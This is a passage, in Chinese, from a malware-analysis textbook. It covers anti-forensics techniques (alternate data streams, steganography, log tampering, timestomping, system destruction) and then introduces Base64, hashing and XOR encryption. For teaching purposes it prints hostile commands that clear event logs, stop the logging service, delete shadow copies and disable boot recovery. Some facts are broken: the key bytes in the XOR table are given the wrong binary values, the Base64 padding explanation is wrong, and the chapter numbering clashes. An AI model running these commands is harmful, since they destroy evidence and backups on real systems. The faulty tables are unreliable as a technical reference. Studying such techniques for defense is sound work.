C:\> **more evil.exe > invoice.doc:evil**
使用这个命令,我将一个约 760KB 的可执行文件写入了文件invoice.doc,如图 15-6 所示。

图 15-6:将可执行文件隐藏在 ADS 中
查看文档文件的元数据,显示文件大小为 12KB(主数据流),但“磁盘上的大小”值为 776KB(在我将可执行文件复制到其 ADS 后文件的总大小)。
在十六进制编辑器或 PE 查看器中查看此文件时,没有发现异常。存储在 evil 数据流中的数据对于大多数文件编辑器和调查工具来说是不可见的,除非调查人员知道该查找的内容。Streams(来自 sysinternals 套件)是一个很好的工具,用于识别 ADS 异常。
使用 NTFS ADS 仅仅是隐藏恶意文件和代码以避免调查的一个机制。另一种策略是将代码隐藏在 CLFS 日志子系统中,正如 Mandiant 的研究人员所展示的那样(参见 Adrien Bataille 和 Blaine Stancill 的文章《Too Log; Didn’t Read—Unknown Actor Using CLFS Log Files for Stealth》,链接:https://
使用隐写术隐藏数据
隐写术是一种将数据隐藏在普通文件格式中的技术,例如图像、视频和音频文件。现代的回避性恶意软件可能会使用隐写术来绕过端点和网络防御,因为它能有效地将恶意代码隐藏或混淆在看似无害的文件中,但这一技术也非常符合反取证的范畴。
使用隐写术技术的早期恶意软件示例包括 2011 年的 Duqu 恶意软件家族,它从受害系统收集信息并将其存储在 JPEG 图像文件中,以及 2014 年的 Zeus 银行木马,它将 C2 命令隐藏在发送给受害者的图像中。一个较新的例子是 ESET 研究人员发现的攻击,名为“Stegano”,其在多个网站的图像中嵌入了利用代码。由于代码隐藏在图像数据中,网络防御可能未能发现恶意代码(参见 Daniel Goodin 的文章《数百万用户暴露于恶意广告,其中隐藏了攻击代码》:https://
恶意软件可能出于多种原因利用隐写术,比如隐藏数据和恶意代码以避免调查,混淆传输中的 C2 命令,或者掩盖将从受害者网络中泄露的数据。有几种方式可以做到这一点,包括文件附加和位操作。文件附加,顾名思义,就是将一个文件附加到另一个文件的末尾,类似于搭便车的方式。例如,如果我正在调查一个我怀疑已被篡改的 JPEG 文件,我可能会在十六进制编辑器中检查该文件的头部(参见图 15-7)。

图 15-7:JPEG 文件头
此文件头是 JPEG 文件类型的标准头(图中为 JFIF)。进一步分析文件数据揭示了图 15-8 中所示的异常。

图 15-8:隐藏在 JPEG 文件中的文件头
注意此图中的 PK。这是 ZIP 归档文件的标准头,表明一个 ZIP 文件可能已经被附加到 JPEG 图像中!为了提取此文件并检查其内容,我们可以采取几种方法。首先,我们可以使用十六进制编辑器从此图像文件中“雕刻”出嵌入的 ZIP 文件。这只涉及从文件中复制可疑数据,并将其转储到一个新文件中。另一种更简单的方法是使用免费的 Binwalk 工具(https://

图 15-9:使用 Binwalk 提取嵌入文件
注意
你可以在 MalShare 或 VirusTotal 上通过以下哈希值找到此恶意软件样本:
SHA256: 0cfcf571748f0d0c3bcedead2508f0bec329558c29017e7093a138853cc0e17e
这是一个相对简单的隐写术示例。然而,现代攻击通常使用更复杂的技术,如 位操作,通过重新排列或修改位来规避检测。例如,图像文件中的单独位可以被操作,用以隐蔽地存储恶意代码,而不影响图像的质量。图 15-10 展示了在十六进制编辑器中查看的未修改图像文件的数据摘录。

图 15-10:未修改图像的十六进制转储
然而,如图 图 15-11 所示,该图像已经被威胁行为者巧妙地修改。

图 15-11:已修改图像的十六进制转储
每行的最后(第 16 个)字节已被修改。如果恶意软件样本加载该图像文件进行读取(例如,使用 ReadFile),它可以特别提取图像文件中的这些可疑字节,正如以下伪代码所示:
`--snip--`
call ReadFile ; Open manipulated image file.
`--snip--`
mov edx, [esp+file+16] ; Move the first 16th byte into EDX.
mov [ebx+data], edx ; Store the byte in memory.
xor edx, edx ; Clear EDX.
mov edx, [esp+file+36] ; Move the second 16th byte into EDX.
mov [ebx+data+2], edx ; Store the second byte in memory.
`--snip--`
一旦所有字节被存储在内存中,它们将组成字节串 "89 E9 8D 55 05 FF D0"。将这个字节串转换为 x86 代码会显示出以下汇编代码,这可能是某种 shellcode:
mov ecx, ebp
lea edx, [ebp + 0x5]
call eax
最后,最低有效位(LSB) 技术涉及篡改文件中的特定位。为了说明这种隐写技术,假设一个图像文件包含以下 8 个字节,每个字节代表图像中的一个像素:
11101101 11000110 10100111 10010110
10111001 10011001 10001100 11000110
在某些图像编码格式中,如位图(BMP),最低有效位(LSB),即每个字节中的最后一位,可以在不显著影响图像的情况下进行修改。因此,如果攻击者想要在图像中隐藏恶意代码,他们可以篡改最低有效位并形成一个新的比特串。假设攻击者修改了几个特定的最低有效位(以粗体显示):
1110110**0** 1100011**0** 1010011**0** 1001011**1**
1011100**1** 1001100**0** 1000110**0** 1100011**1**
如果我们将所有的最低有效位(LSBs)合并成一个新的字节,就会得到如下结果:
00011001
这个字节本身对我们并没有太大意义。然而,如果攻击者能够修改图像中的大量最低有效位(LSBs),他们就可以有效地在图像中隐藏恶意代码或数据。恶意软件可以将其恶意代码或配置的片段存储在图像内,利用最低有效位作为临时存储。
最后值得注意的是,许多开源和公开可用的工具包,如 Steghide(https://
篡改日志和证据
在调查过程中,日志和其他元数据可以作为有价值的证据,证明特定的恶意事件是否发生过,因此篡改或删除它们将妨碍检测、响应和分析过程。因此,日志及相关元数据可能成为逃避性恶意软件的主要目标,恶意软件试图隐藏其活动,以避免被调查人员发现。在本节中,我们将介绍两种篡改技术:日志篡改和时间戳篡改。
Windows 事件日志篡改
日志篡改 涉及修改或删除主机上的日志条目,这些条目可能暴露恶意软件的存在。攻击者可能篡改的一种日志来源是 Windows 事件日志,它包含有关各种 Windows 和应用程序事件的信息,因此是调查人员的宝贵数据来源。图 15-12 显示了 Windows 事件查看器,这是一个内置的 Windows 工具,用于浏览事件日志。

图 15-12:在 Windows 事件查看器中查看系统事件日志
Windows 事件日志具有包含以下信息的共同结构:
-
一个 事件 ID,表示发生的事件类型
-
一个表示事件日期和时间的 时间戳
-
事件的 来源,例如触发该事件的具体软件或组件
-
事件的 描述
此外,每个事件都被分配一个级别:
-
信息,用于传达一般信息,如安装或卸载软件包的相关信息
-
警告,用于指示可能表明应当解决的问题的事件
-
错误,用于表示应用程序崩溃等事件
-
严重,用于表示对系统功能有害的事件
Windows 可以捕捉多种不同的事件类型。三种最常见的日志类型是 系统 日志(记录与系统及其组件相关的事件)、应用程序 日志(记录与 Windows 和第三方应用程序及服务相关的事件)和 安全 日志(记录与安全相关的事件,如身份验证)。显然,安全分析师和调查人员应特别关注某些事件类型,因为它们可能提供有关系统如何被攻击或恶意软件在系统上采取了哪些行动的线索。表 15-3 列出了这些事件中的一小部分。
表 15-3: 安全分析师和调查人员关心的事件类型
| Windows 事件 ID | 描述 |
|---|---|
| 4624 | 账户成功地进行了身份验证(登录)到 Windows。日志记录了重要信息,如账户的用户名和源 IP 地址。 |
| 4625 | 发生了失败的登录尝试。 |
| 4688 | 启动了一个进程。日志记录了诸如进程名称以及哪个账户启动了该进程等详细信息。 |
| 4689 | 终止了一个进程。 |
| 4698 | 创建了一个计划任务。 |
| 4703 | 为账户启用或禁用了令牌权限。调查人员可以利用此信息来识别潜在的特权提升和冒充尝试。 |
| 4946 | 添加了一个 Windows 防火墙规则。 |
| 5140 | 访问了网络共享。日志记录了用户的账户信息、IP 地址以及用户请求的访问权限类型(例如读取或写入)。 |
| 7045 | 系统上安装了一个服务。日志记录了如服务名称和图像路径(例如其磁盘上的可执行文件)等信息。 |
由于这些事件的日志对取证调查人员来说非常有价值,因此清除或篡改这些事件日志对于恶意软件作者来说也具有价值。
篡改日志的最简单方法之一就是直接删除或清除它们。为了清除这些事件日志,恶意软件可以调用 Windows 工具 Wevtutil。以下命令分别将清除受害系统上的系统、应用程序和安全事件日志:
C:\> wevtutil cl system
C:\> wevtutil cl application
C:\> wevtutil cl security
或者,恶意软件可以使用 PowerShell 命令,例如以下命令:
PS C:\> Remove-EventLog -LogName Security
该命令清除所有 Windows 安全事件日志。
恶意软件甚至可以在攻击期间通过调用 PowerShell 停止 Windows 事件日志服务,完全禁用事件日志,如下所示:
PS C:\> Stop-Service -Name EventLog -Force
请记住,删除日志文件或停止日志记录可能会引起很大的注意,尤其是当受害组织特别监控日志篡改技术时。另一种方法是手动写入新的 Windows 事件日志,以迷惑调查人员。例如,通过为虚构的登录事件或删除或创建虚拟文件创建事件,恶意软件作者可以制造“烟雾弹”场景。他们可以通过 PowerShell cmdlet Write-EventLog 来实现这一点:
PS C:\> Write-EventLog -LogName $eventLog -Source $eventSource -EventId
$eventId -EntryType Information -Message $eventMessage
Windows 事件存储为 .evtx 文件,位于 C:\Windows\System32\winevt\Logs 目录下。你可以在以下输出中看到示例目录列表:
C:\Users>dir C:\Windows\System32\winevt\Logs
`--snip--`
07/27/2023 04:15 AM 3,215,360 Application.evtx
07/27/2023 02:14 PM 4,096 DebugChannel.etl
08/14/2020 10:18 AM 69,632 HardwareEvents.evtx
08/14/2020 10:18 AM 69,632 Internet Explorer.evtx
08/14/2020 10:18 AM 69,632 Key Management Service.evtx
`--snip--`
输出中的每个 .evtx 文件表示一种特定类型的日志事件,例如应用程序事件、硬件事件和 Internet Explorer 事件。你可能会在恶意软件的代码中发现它特别引用了此目录位置。这可能是一个明显的迹象,表明恶意软件正在尝试篡改这些文件,例如以下代码:
`--snip--`
mov edx,0x1
❶ mov ecx, "C:\Windows\System32\winevt\Logs"
push eax
❷ call encrypt_data
`--snip--`
该恶意代码引用了路径 C:\Windows\System32\winevt\Logs ❶,然后调用一个加密此数据的函数(我命名为 encrypt_data) ❷,从而有效地销毁这些文件。
此外,恶意软件可能能够直接修改.evtx文件以隐藏恶意活动。这是一个精细的过程,涉及关闭事件日志服务、篡改事件文件并重新计算作为完整性检查的一种校验和。此技术超出了本书的范围,但你可以在Medium博客文章“事件日志篡改 第二部分:操作单个事件日志”中了解更多内容,文章地址是 https://
注意
在我写这本书的时候,卡巴斯基报告了一种恶意软件变种,它将恶意代码写入 Windows 事件日志,并直接从日志中执行内存中的代码。这种技术将事件日志篡改技术与内存驻留技术相结合。你可以在 Denis Legezo 的博客文章“‘无文件’恶意软件的新秘密藏匿处”中了解更多内容,文章地址是 securelist.com/a-new-secret-stash-for-fileless-malware/106393/。
时间戳篡改
时间戳篡改是一种通过修改文件时间戳来误导取证调查员的技术。在 NTFS(现代 Windows 版本的默认文件系统)中,时间戳以 64 位整数表示(更正式地称为文件时间结构),该整数表示自 1601 年 1 月 1 日 UTC 时间以来的 100 纳秒间隔数,或称为刻度。这听起来相当复杂,但重要的是要知道,当转换为人类可读格式时,这个整数代表一个特定的日期和时间。例如,时间戳整数 133346988430000000 可以转换为人类可读的字符串 2023 年 7 月 24 日 星期一 7:00:43 PM。在内部,Windows 使用 FileTimeToSystemTime 函数进行这种转换。NTFS 格式会跟踪文件和目录的时间戳,记录文件或目录何时被写入或以其他方式修改、访问(打开并读取)、创建(或复制、移动等),以及文件或目录的元数据何时发生变化。元数据可能包括文件或目录的名称、属性、权限及其他数据。你可以在这里了解更多关于文件时间结构格式的内容:https://
为了修改这些文件时间戳,以误导调查人员,恶意软件可以使用专门为此用途设计的 WinAPI 函数:SetFileTime。SetFileTime 函数接受三个参数:文件创建时间(lpCreationTime)、最后访问时间(lpLastAccessTime)和最后修改时间(lpLastWriteTime)。恶意软件可以使用函数 SetFileInformationByHandle 和 NtSetInformationFile 以类似的方式篡改自身或其他文件和目录的时间戳。
在取证调查过程中,调查人员通常会创建一个所有文件系统事件的时间线。文件的时间戳元数据和日志通常是这些时间线的一部分。如果恶意软件采用了时间戳篡改和日志篡改技术,这个调查时间线将不准确,至少会导致调查过程延迟,最糟糕的情况是案件无法解决。对于那些必须在法庭上辩护的取证调查,后果可能特别严重。
销毁系统
也许最永久且具有破坏性的隐藏证据技术是彻底销毁系统。你可能会想知道,攻击者为什么要销毁一个系统来掩盖证据,因为这无疑会引起受害者或组织对攻击的警觉。虽然这是真的,但它仍然是掩盖攻击证据最永久和最绝对的方法。如果系统被销毁,调查很有可能会停止。这也是避免追溯攻击来源的一种方式。
为了销毁攻击的证据,恶意软件可以加密整个磁盘和主引导记录(MBR),使系统无法启动,这类似于一些勒索软件的操作。这里的主要区别是攻击者会销毁加密和解密密钥,因为这些密钥不再需要。或者,恶意软件可以用随机数据覆盖磁盘的某些部分,以实现类似的效果。
恶意软件还可以禁用本应允许调查人员恢复系统的工具,如 Windows 启动修复,或删除所有备份。这些是它可能作为破坏性攻击前奏运行的一些命令:
C:\> C:\Windows\System32\vssadmin.exe delete shadows /all /quiet
C:\> C:\Windows\System32\bcdedit.exe /set bootstatuspolicy ignoreallfailures
C:\> C:\Windows\System32\bcdedit.exe /set recoveryenabled No
第一个命令删除所有的卷影副本,卷影副本是 Windows 中的一种备份功能,可以恢复文件的副本。删除这些备份会阻止调查人员恢复存储为卷影副本的证据。第二个和第三个命令则防止 Windows 启动到恢复模式,这是调查人员或系统管理员有时用来恢复系统的一种方法。
完全摧毁系统仅仅为了反取证目的的情况比较少见。恶意软件更常见的做法是主要目的是摧毁系统和数据,从而导致服务中断,反取证只是次要目标。例如,恶意软件家族 Shamoon 删除了目标系统上的数据,作为副产品,这可能会妨碍调查工作。HermeticWiper(在第十四章中简要介绍)是另一个例子。
总结
在本章中,你了解了无文件攻击的原理以及恶意软件作者如何利用驻留在内存和注册表中的恶意软件达到目的,而不留下明显的证据。你还学会了威胁行为者如何滥用原生的、签名的 Windows 二进制文件(LOLBins)来隐秘地执行恶意代码,以绕过如 AppLocker 这样的安全控制,或支持无文件攻击。随后,我们深入探讨了隐藏证据的话题,探索了恶意软件使用的一些反取证技术,帮助其掩盖痕迹并进一步阻碍调查工作。在下一章中,我们将深入探讨恶意软件如何通过编码和加密来避开检测。
第十七章:16 编码与加密

编码是将数据转换为新格式的行为。它用于高效传输数据、确保协议或应用程序之间的互操作性、以及压缩和存储数据等任务。恶意软件作者还利用编码来混淆数据和代码,防止分析师或主机与网络防御查看到这些内容。加密与编码有相似之处,是一种保护敏感数据在传输过程中或静态存储时的方式。恶意软件可能会使用加密来达到多种目的,包括混淆内存中的敏感数据,如指挥与控制(C2)信息。除了防御规避外,恶意软件通常还使用编码和加密来妨碍分析,特别是静态代码分析或网络流量分析。
具体来说,恶意软件使用编码和加密算法的原因如下:
-
为了保护文件中的代码和数据,这些文件存储在磁盘上,以便避开如反恶意软件软件等端点防御。这通常涉及一种被称为打包(packing)的技术,本文将在第十七章中详细讨论。
-
为了保护内存中的代码和数据(如 C2 地址、密钥或敏感字符串),免受端点防御软件和分析师的检测。
-
例如,通过在将数据传输到 C2 基础设施之前对其进行加密,以保护其在网络层传输过程中的数据。
-
为了阻碍逆向工程和分析工作。如果恶意软件分析师必须先解码或解密恶意软件代码的部分内容,这会减缓并令分析过程变得困难。
在本章中,你将看到一些恶意软件使用的编码和加密技术,并学到一些实际技巧,以便在分析时克服这些技术。
基础编码
最常用的编码形式之一是Base64,它最初是为数据传输和各种协议之间的互操作性而设计的。当字符串通过 Base64 编码算法时,字符串会作为二进制数据输入到算法中,并被拆分成 6 位的块。每个块会被转换(编码)为 ASCII 格式,使用总共 64 个不同的字符(26 个小写字母、26 个大写字母、10 个数字以及 / 和 + 字符)。这个 64 字符集如表 16-1 所示,这就是 Base64 得名的原因。该表展示了每个 Base64 字符的字符(Char)、十进制值(Dec)和二进制值(Bin)。
表 16-1: Base64 字符集
| Char | Dec | Bin | Char | Dec | Bin | Char | Dec | Bin |
|---|---|---|---|---|---|---|---|---|
| A | 0 | 0 | L | 11 | 1011 | W | 22 | 10110 |
| B | 1 | 1 | M | 12 | 1100 | X | 23 | 10111 |
| C | 2 | 10 | N | 13 | 1101 | Y | 24 | 11000 |
| D | 3 | 11 | O | 14 | 1110 | Z | 25 | 11001 |
| E | 4 | 100 | P | 15 | 1111 | a | 26 | 11010 |
| F | 5 | 101 | Q | 16 | 10000 | b | 27 | 11011 |
| G | 6 | 110 | R | 17 | 10001 | c | 28 | 11100 |
| H | 7 | 111 | S | 18 | 10010 | d | 29 | 11101 |
| I | 8 | 1000 | T | 19 | 10011 | e | 30 | 11110 |
| J | 9 | 1001 | U | 20 | 10100 | f | 31 | 11111 |
| K | 10 | 1010 | V | 21 | 10101 | g | 32 | 100000 |
| h | 33 | 100001 | s | 44 | 101100 | 3 | 55 | 110111 |
| i | 34 | 100010 | t | 45 | 101101 | 4 | 56 | 111000 |
| j | 35 | 100011 | u | 46 | 101110 | 5 | 57 | 111001 |
| k | 36 | 100100 | v | 47 | 101111 | 6 | 58 | 111010 |
| l | 37 | 100101 | w | 48 | 110000 | 7 | 59 | 111011 |
| m | 38 | 100110 | x | 49 | 110001 | 8 | 60 | 111100 |
| n | 39 | 100111 | y | 50 | 110010 | 9 | 61 | 111101 |
| o | 40 | 101000 | z | 51 | 110011 | + | 62 | 111110 |
| p | 41 | 101001 | 0 | 52 | 110100 | / | 63 | 111111 |
| q | 42 | 101010 | 1 | 53 | 110101 | |||
| r | 43 | 101011 | 2 | 54 | 110110 | = | (padding) |
注意等号(=),它用作填充,因此不算作 64 个字符之一。在分析恶意软件代码时,如果你发现一个字符串后面跟着一个或多个等号,应该在脑海中警觉,可能正在处理某种变体的 Base64 编码数据。请注意,这个填充字符并不总是存在的。
Base64 字符集通常在恶意软件中是硬编码的,如下所示:
character_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZ
abcdefghijklmnopqrstuvwxyz0123456789+/"
如果你在代码中发现类似这样的索引字符串,你可以假设恶意软件正在使用某种变体的 Base64 编码。稍后我们会回到这个话题。
为了更好地理解 Base64 编码在实际中的表现,我们来看一个例子,使用字符串 evil 作为输入。将 ASCII 字符串 evil 转换为二进制后,结果如下:
| e | v | i | l |
|---|---|---|---|
| 01100101 | 01110110 | 01101001 | 01101100 |
如果我们将 evil 的 ASCII 字符串通过 Base64 编码算法处理,ASCII 会被转换为二进制,这个二进制字符串会被拆分成 6 位一组,每组与 Base64 字符集中的一个字符相匹配。对于 evil 字符串,这些块和对应的值如下所示:
| Block 1 | Block 2 | Block 3 | Block 4 | Block 5 | Block 6 |
|---|---|---|---|---|---|
| 011001 | 010111 | 011001 | 101001 | 011011 | 00 |
| Z | X | Z | p | b | A |
这里输出的 Base64 字符串是 ZXZpbA。然而,大多数 Base64 实现会将输出分成六个字符一组,如果编码字符串的末尾字符数是奇数,则会根据需要添加填充。在这种情况下,第六块不完整,所以会添加 == 作为填充,最终结果是 ZXZpbA==。
Base64 编码的完整讨论超出了本书的范围。关于此算法的技术细节,请参阅 https://
虽然 Base64 有许多合法的应用场景,但恶意软件也可以利用它作为一种快速简便的方法来达到更恶意的目的:模糊数据。Base64(以及类似的其他编码算法)可以用来隐藏文件本身或内存中的恶意行为或字符串。使用像 Base64 这样的编码算法的优势在于它们非常简单易实现。缺点是它们也非常容易被“破解”;你只需按编码时的方式解码目标数据。Base64 可以使用多种不同的方法和工具进行解码,其中之一是 CyberChef(https://
有许多优秀的工具可以帮助你识别恶意软件中的 Base64 使用。例如,base64dump.py(https://

图 16-1:在 base64dump.py 中查看 Base64 编码的字符串
注意第 4 行中可能的解码字符串(homesshealth.inf)。你也可以看到部分编码值。要全面评估这个解码字符串,可以使用 base64dump.py 中的 -d(dump,转储)和 -s(section,部分)开关,将感兴趣的部分(在此例中是 4)提取并保存到磁盘:
**> base64dump.py evil.bin -s 4 -d**
注意,恶意软件作者可以轻松修改标准的 Base64 编码,以防止他们的数据被逆向。仅仅修改 Base64 字符集就会大幅改变其输出。例如,考虑以下修改过的索引字符串:
abcdABCDEFGHIJKLMNOPQRSTUVWXYZefghijklmnopqrstuvwxyz0123456789+/
将其与之前提到的原始 Base64 字符集进行比较:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
你注意到区别了吗?在第一组中,字符abcd被移到了字符集的开头,位于ABCD之前。仅仅将abcd移到此索引的开头,就会显著改变 Base64 编码的输出,而且这是一个非常简单的更改。为了检测这些变化,你可以像前面提到的那样,在代码中查找索引字符串。通常,这种 Base64 索引会在恶意软件可执行文件的代码中清晰可见。
最后,请记住,在分析恶意软件时,你可能会遇到其他编码方式(如 Base32、Base85、uuencode 和 yEnc),但这些并不像 Base64 那样常见。花时间学习如何识别和解码 Base64 编码,将帮助你处理大多数涉及简单恶意软件数据编码的案例。恶意软件作者常常会将 PE 文件编码为 Base64。由于 PE 文件的头部包含 ASCII 字符MZ,因此要注意编码后的MZ,它的编码版本以TV开头。
数据哈希
哈希本质上是一种单向数据编码,意味着理论上它无法被逆转。当数据通过哈希算法处理时,生成的哈希值将始终具有相同的长度。例如,MD5 哈希算法始终生成一个固定长度为 128 位或 32 个字符的哈希值。SHA-1 生成一个 160 位或 40 个字符的哈希值。最后,SHA256 生成一个 256 位或 64 个字符的哈希值。
让我们使用之前提到的 CyberChef 来看看数据哈希在实践中的表现。在图 16-2 中,我使用了 CyberChef 和 MD5 来哈希一个简单的 URL,并在输出框中生成了 32 字符的哈希值。

图 16-2:使用 CyberChef 进行 MD5 哈希
在图 16-3 中,我修改了 URL 中的一个字符。

图 16-3:在 CyberChef 中修改输入的 URL
你可能会发现,我只是简单地在http字符串后面添加了一个s。注意,哈希输出完全改变了。这种现象,即对于不同的输入数据(即使这些输入数据有 99%的相似性)会生成完全不同的哈希值,称为级联效应。级联效应将输入数据分成多个字符组,然后再对子组进行细分。
注意
在本章接下来的各种示例中,我们将使用 CyberChef。这是一个功能强大的数据处理工具,它不仅仅用于哈希数据,还可以用于其他许多数据操作任务。熟悉它的功能是个好主意。
恶意软件还可以利用哈希的强大功能进行混淆处理,并且它可以通过几种不同的方式在其代码中实现这些哈希算法。一种方法是使用 Windows 中的原生 CryptoAPI。该服务为软件(在我们的案例中是恶意软件)提供了一个简单易用的 API,用于编码、解码、加密和解密数据。我将在本章后面介绍 CryptoAPI,并举例说明它如何在恶意软件中使用。恶意软件作者可能使用的第二种方法是创建自己的自定义哈希算法。博客网站 Red Team Experiments 上的文章《恶意软件中的 Windows API 哈希》(https://
根据所使用的算法,哈希在反向分析恶意软件时可能会很棘手。你可以尝试使用哈希破解工具,通过将哈希函数的输出与预计算的已知输入及其对应的输出字典进行比较来暴力破解输入。如果这是一个众所周知的算法,已经有一些工具和资源提供了恶意软件中常见字符串的预哈希值。例如,OALabs 写了一个叫做 hashdb 的工具(https://
如果恶意软件使用未知的自定义哈希算法,过程就更加复杂。要了解恶意软件哈希的数据,你需要首先理解该数据的上下文。你可能需要根据周围的数据,做出有关明文字符串可能是什么的猜测。例如,如果你发现了明文函数字符串,如 CreateProcess 和 VirtualAlloc,则周围的混淆字符串可能与进程注入函数相关,如 WriteProcessMemory 或 CreateRemoteThread。另一种方法是逆向工程哈希算法本身,以获取原始输入。你首先需要在代码中定位该算法,然后使用反汇编器静态分析该代码,或者使用调试器动态分析代码。接下来,我们将讨论如何在加密的上下文中定位此类代码。
加密与解密
除了对数据进行编码外,恶意软件通常还会加密数据。与哈希不同,加密不是单向操作。任何被加密的数据都可以使用解密密钥后续解密。与哈希一样,恶意软件常常加密其部分代码或数据,以便混淆其意图、避开防御并保护自己不被逆向工程师分析。
本节将概述恶意软件可能使用的一些加密算法。然而,由于恶意软件作者甚至可以混淆他们自己的加密方法,使得确定所使用的确切加密算法变得更加困难,我们将更多关注方法论而非加密算法的具体实现。然后,我们将讨论一些识别恶意软件中加密和解密例程的技巧,以及如何克服这些技术的指导。
对称与非对称加密
加密有两种主要形式:对称加密和非对称加密。对称加密涉及两个客户端之间使用共享(对称)密钥。如果客户端 1 希望向客户端 2 发送数据,则每个客户端必须拥有加密密钥,因为该密钥既用于加密也用于解密数据。当恶意软件使用对称加密时,其加密密钥要么嵌入在恶意软件的代码中,要么在运行时生成(例如,使用标准 Windows 库)。常见的对称加密形式包括 AES、DES、Blowfish 和 RC4。 图 16-4 展示了对称加密和解密如何在高层次上工作。

图 16-4:对称密钥密码学如何工作
首先,明文数据通过加密算法进行加密,并使用对称加密密钥加密。一旦加密数据准备好被解密,它会通过解密算法运行,并提供相同的对称密钥,从而生成原始的明文数据。
对称加密算法有两种主要形式。流密码一次加密一个比特,通常非常快速。它们被用于 SSL/TLS 等协议中,以加密 Web 流量。分组密码将数据分成块(区块)进行加密,通常比流密码提供更强的加密。它们也是两者中更常用的一种,尤其是对于速度不是主要考虑的任务。
与对称加密不同,非对称加密使用两把密钥而非一把:公钥用于加密,私钥用于解密。如果客户端 1 希望加密并将数据发送给客户端 2,客户端 2 必须先与客户端 1 共享其公钥,客户端 1 利用该密钥加密数据。然后,客户端 2 使用自己的私钥解密数据。反之,当客户端 2 希望为客户端 1 加密数据时,他们用客户端 1 的公钥加密数据,客户端 1 用自己的私钥解密数据。这消除了对安全密钥交换的需求,因为公钥是用于共享和交换的,而私钥保持机密。
图 16-5 展示了非对称加密和解密的过程。

图 16-5:非对称密钥加密的工作原理
如同图 16-4 所示,明文数据通过加密算法进行处理,但这次使用的是非对称加密。使用公钥加密数据,私钥负责将数据解密回原始的明文版本。
恶意软件可以加密其代码或数据,以便将其隐藏免受逆向工程师或基于网络和主机的防御的检查。加密还用于勒索软件,这是一种恶意软件,感染受害者后加密主机系统上的选定文件,并对这些文件进行勒索。受害者支付赎金后,攻击者会将解密密钥发送给受害者,从而解密文件。现代勒索软件同时使用对称加密和非对称加密方法,或采用混合方法。
表 16-2 列出了恶意软件中使用的一些常见加密算法。
表 16-2: 恶意软件中的加密算法
| 名称 | 类型 | 描述 |
|---|---|---|
| 高级加密标准(AES) | 对称(分组密码) | AES 被认为是最强大的对称加密形式之一,常用于勒索软件。 |
| 里维斯密码 4(RC4) | 对称(流密码) | RC4 是一种快速且易于实现的算法,但它并不特别强大。它被多种恶意软件家族用于快速和简易的数据加密与解密。 |
| 里维斯、沙米尔和阿德尔曼(RSA) | 非对称 | RSA 是以其创建者命名的流行算法,已被多种勒索软件家族使用。它以相对较高的速度和效率著称。 |
| 椭圆曲线加密算法(ECC) | 非对称 | ECC 是一种较新的算法,相比 RSA,它在相同密钥长度下更为安全,因此更高效。ECC 在恶意软件中得到了更广泛的使用。 |
在深入了解一些常见加密算法在恶意软件中的应用之前,我们需要先讲解加密的重要组成部分:XOR。
异或
许多加密算法围绕着异或(XOR)操作展开,因此理解它的工作原理非常重要。在 XOR 操作中,输入数据按位与提供的密钥进行比较。表 16-3 展示了一个示例,其中输入 A 和输入 B 的位进行比较,产生一个输出值。
表 16-3: XOR 二进制输出
| 输入 A | 输入 B | XOR 输出 |
|---|---|---|
| 0 | 0 | 0 |
| 1 | 0 | 1 |
| 0 | 1 | 1 |
| 1 | 1 | 0 |
如您所见,如果输入 A 和输入 B 的位相同,结果输出值为 0。如果位不同,输出则为 1。
数据是基于密钥进行 XOR 操作的,该密钥有时是 1 字节长(但可以调整,正如你稍后会看到的那样)。请查看 表 16-4 中的 XOR 操作,它使用了 1 字节的 XOR 密钥 0x35。
表 16-4: 使用密钥 0x35 进行 XOR 操作的输出
| 输入文本 | h | t | t | p | s |
|---|---|---|---|---|---|
| 输入(以二进制表示) | 01101000 | 01110100 | 01110100 | 01110000 | 01110011 |
| XOR 密钥(35) | 00110101 | 00110101 | 00110101 | 00110101 | 00110101 |
| 输出(以二进制表示) | 01011101 | 01000001 | 01000001 | 01000101 | 01000110 |
| 输出文本 | ] | A | A | E | F |
在“输入文本”一行中,ASCII 文本字符串 https 正在使用密钥 0x35 进行 XOR 操作。“输入(以二进制表示)”行显示了该 https 字符串的二进制表示。“XOR 密钥(35)”行显示了 XOR 密钥(0x35)在二进制中的表示(00110101)。“输出(以二进制表示)”行是 XOR 后的二进制数据,即 XOR 操作完成后的数据。最后,“输出文本”行显示了输出的 ASCII 表示。请注意,XOR 操作是可逆的,这意味着要解密输出文本,只需使用相同的密钥 0x35 再次进行 XOR 操作,就会得到 https 的结果。
这只是一个使用 1 字节 XOR 密钥的简单示例,但实际上,恶意软件通常通过使用更长的密钥来复杂化加密过程。例如,如果恶意软件使用像 0x356C2DA155 这样的 5 字节密钥,如 表 16-5 所示,密钥中的每个字节将与输入数据中的每个字节进行 XOR 操作,从第一个字节开始并重复。
表 16-5: 使用密钥 0x356C2DA155 的 XOR 输出
| 输入文本 | h | t | t | p | s |
|---|---|---|---|---|---|
| 输入(以二进制表示) | 01101000 | 01110100 | 01110100 | 01110000 | 01110011 |
| XOR 密钥 | 00110101 (35) | 11011000 (6C) | 10110100 (2D) | 10100001 (A1) | 10101010 (55) |
| 输出(以二进制表示) | 01011101 | 10101100 | 11000000 | 11010001 | 11011001 |
| 输出文本 | ] | . | Y | Ñ | & |
现在,https 的 ASCII 文本字符串与密钥 0x356C2DA155 进行异或运算(XOR),为了简化展示,密钥被分解为多个列。密钥的每个字节将与文本的一个字节进行异或操作。结果的二进制形式显示在第四行,接下来是异或结果的文本表示。有关 XOR 操作的更完整技术解释,请参阅 https://
对于恶意软件作者来说,XOR 是非常有用的;它速度快、高效,而且实现简单。然而,它也有一些缺点。如我之前提到的,你可以通过提供与加密时相同的密钥来解密 XOR 加密的数据。为了让 XOR 正常工作,XOR 密钥必须硬编码在恶意软件的代码中,而有经验的逆向工程师可能会找到它。此外,由于 XOR 密钥有时只有一个字节或几个字节长,你通常可以通过暴力破解 XOR 数据,尝试所有可能的 XOR 密钥组合。
有几种工具可以做到这一点。例如,Didier Stevens 的 XORSearch(https://

图 16-6:XORSearch 工具的输出
第一行中的命令包括几个参数:-p 告诉 XORSearch 专门搜索编码过的 PE 文件,-s 开关则告诉 XORSearch 如果找到可执行文件就进行输出。这个可执行文件内嵌了五个额外的可执行文件,其中四个使用 XOR 编码(第一个结果可以忽略,因为它只是包含输入文件的 PE 头)。XORSearch 显示了 XOR 密钥(在第 1 列中高亮显示)和嵌入文件所在的偏移地址(在第 2 列中高亮显示)。
